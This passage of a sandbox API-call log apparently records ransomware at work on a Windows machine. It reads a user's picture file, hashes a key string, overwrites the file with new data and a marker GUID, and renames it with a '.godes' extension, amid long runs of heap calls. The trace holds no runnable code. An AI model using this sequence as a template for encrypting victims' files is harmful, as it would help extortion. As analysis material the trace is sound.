flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.510] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3dc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.510] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.511] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.511] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x3deb, lpOverlapped=0x0) returned 1 [0115.512] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.512] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.512] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.512] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.513] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.513] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.513] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.513] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.513] GetLastError () returned 0x0 [0115.513] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.513] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3df0) returned 0x3325120 [0115.513] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.513] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0x3de6, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0x3de6, lpOverlapped=0x0) returned 1 [0115.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.513] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3deb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.514] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.514] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.514] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.514] CloseHandle (hObject=0x624) returned 1 [0115.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x331e748 [0115.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.515] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\rzr43Df_s8poAvL8Y1F.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\rzr43df_s8poavl8y1f.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\rzr43Df_s8poAvL8Y1F.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\rzr43df_s8poavl8y1f.jpg.godes")) returned 1 [0115.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.515] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.516] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0115.516] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b125a0, ftCreationTime.dwHighDateTime=0x1d4cbc4, ftLastAccessTime.dwLowDateTime=0x557ea7c0, ftLastAccessTime.dwHighDateTime=0x1d4d2e3, ftLastWriteTime.dwLowDateTime=0x557ea7c0, ftLastWriteTime.dwHighDateTime=0x1d4d2e3, nFileSizeHigh=0x0, nFileSizeLow=0x3deb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rzr43Df_s8poAvL8Y1F.jpg", cAlternateFileName="RZR43D~1.JPG")) returned 0 [0115.516] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.516] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.516] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ecb8 | out: hHeap=0x660000) returned 1 [0115.516] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.516] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.516] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.522] HeapFree (in: hHeap=0x660000, 